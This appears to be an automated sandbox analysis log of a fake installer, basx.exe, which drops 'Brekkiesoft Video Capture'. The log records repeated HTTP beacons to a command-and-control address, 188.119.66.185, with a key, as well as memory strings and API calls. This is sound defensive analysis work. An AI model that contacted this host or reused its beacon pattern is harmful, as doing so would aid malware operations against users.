                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: unknownTCP traffic detected without corresponding DNS query: 188.119.66.185
                    Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exeCode function: 3_2_02C72B95 WSASetLastError,WSARecv,WSASetLastError,select,3_2_02C72B95
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: global trafficHTTP traffic detected: GET /ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b3250aa15d005633775b0e650fdba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda36261fdb368c HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)Host: 188.119.66.185
                    Source: basx.tmp, 00000001.00000002.3384557748.000000000598E000.00000004.00001000.00020000.00000000.sdmp, bsoftvideocapture33.exe, 00000003.00000000.2134454108.00000000004D4000.00000002.00000001.01000000.00000009.sdmp, bsoftvideocapture33.exe.1.dr, BrekkiesoftVideoCapture.exe.3.dr, is-2NU4B.tmp.1.drString found in binary or memory: http://wonderwork.ucoz.com/
                    Source: basx.tmp, basx.tmp, 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-05H7T.tmp.1.dr, basx.tmp.0.drString found in binary or memory: http://www.innosetup.com/
                    Source: basx.exeString found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline
                    Source: basx.exeString found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
                    Source: basx.exe, 00000000.00000003.2120059288.00000000020B8000.00000004.00001000.00020000.00000000.sdmp, basx.exe, 00000000.00000003.2119540988.0000000002350000.00000004.00001000.00020000.00000000.sdmp, basx.tmp, basx.tmp, 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-05H7T.tmp.1.dr, basx.tmp.0.drString found in binary or memory: http://www.remobjects.com/ps
                    Source: basx.exe, 00000000.00000003.2120059288.00000000020B8000.00000004.00001000.00020000.00000000.sdmp, basx.exe, 00000000.00000003.2119540988.0000000002350000.00000004.00001000.00020000.00000000.sdmp, basx.tmp, 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-05H7T.tmp.1.dr, basx.tmp.0.drString found in binary or memory: http://www.remobjects.com/psU
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003395000.00000004.00000020.00020000.00000000.sdmp, bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A51000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003395000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/$rm
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003395000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/-rt
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A7F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/0
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/405117-2476756634-1003w
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003395000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/6r
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A7F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/9
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A7F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/C
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385203674.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, bsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003380000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/ai/?key=8f3f2b3ae115416b731ce2a8231e72eee7c4db7e40b82a8dcd6c946851e300888b325
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A7F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/allowedCert_OS_1
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/en-GB
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/en-US
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003395000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/nr7
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A7F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/ography
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/priseCertificates
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A7F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/rosoft
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3385203674.0000000003395000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/wr
                    Source: bsoftvideocapture33.exe, 00000003.00000002.3384048195.0000000000A70000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://188.119.66.185/z
                    Source: basx.exe, 00000000.00000002.3383813920.00000000020B1000.00000004.00001000.00020000.00000000.sdmp, basx.exe, 00000000.00000003.2119149552.0000000002350000.00000004.00001000.00020000.00000000.sdmp, basx.exe, 00000000.00000003.2119227526.00000000020B1000.00000004.00001000.00020000.00000000.sdmp, basx.tmp, 00000001.00000002.3383825323.000000000059B000.00000004.00000020.00020000.00000000.sdmp, basx.tmp, 00000001.00000003.2121555955.0000000003110000.00000004.00001000.00020000.00000000.sdmp, basx.tmp, 00000001.00000003.2121669501.00000000021D8000.00000004.00001000.00020000.00000000.sdmp, basx.tmp, 00000001.00000002.3384218651.00000000021D8000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.easycutstudio.com/support.html
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49865
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49865 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49821
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49941
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49985
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49878 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49815
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49849 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49978
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49933
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49855
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49897
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49837 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49892
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49872 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49897 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49985 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49855 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49802 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49809
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49927
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49849
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49969
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49978 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49802
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49843
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49920
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49962
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49884
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49821 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49815 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49947 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49892 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49933 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49956 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49831 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49809 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49904 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49837
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49956
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49878
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49910
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49831
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49872
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49927 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49969 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49843 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49910 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49962 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49884 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49904
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49920 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49941 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49947
                    Source: unknownHTTPS traffic detected: 188.119.66.185:443 -> 192.168.2.5:49802 version: TLS 1.2
                    Source: is-H722N.tmp.1.drBinary or memory string: DirectDrawCreateExmemstr_ef5ef40c-7
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0042F520 NtdllDefWindowProc_A,1_2_0042F520
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00423B84 NtdllDefWindowProc_A,1_2_00423B84
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004125D8 NtdllDefWindowProc_A,1_2_004125D8
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00478AC0 NtdllDefWindowProc_A,1_2_00478AC0
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_00457594 PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,1_2_00457594
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0042E934: CreateFileA,DeviceIoControl,GetLastError,CloseHandle,SetLastError,1_2_0042E934
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,0_2_00409448
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004555E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,1_2_004555E4
                    Source: C:\Users\user\Desktop\basx.exeCode function: 0_2_0040840C0_2_0040840C
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004706A81_2_004706A8
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004809F71_2_004809F7
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004352C81_2_004352C8
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_004673A41_2_004673A4
                    Source: C:\Users\user\AppData\Local\Temp\is-P2UTG.tmp\basx.tmpCode function: 1_2_0043DD501_2_0043DD50
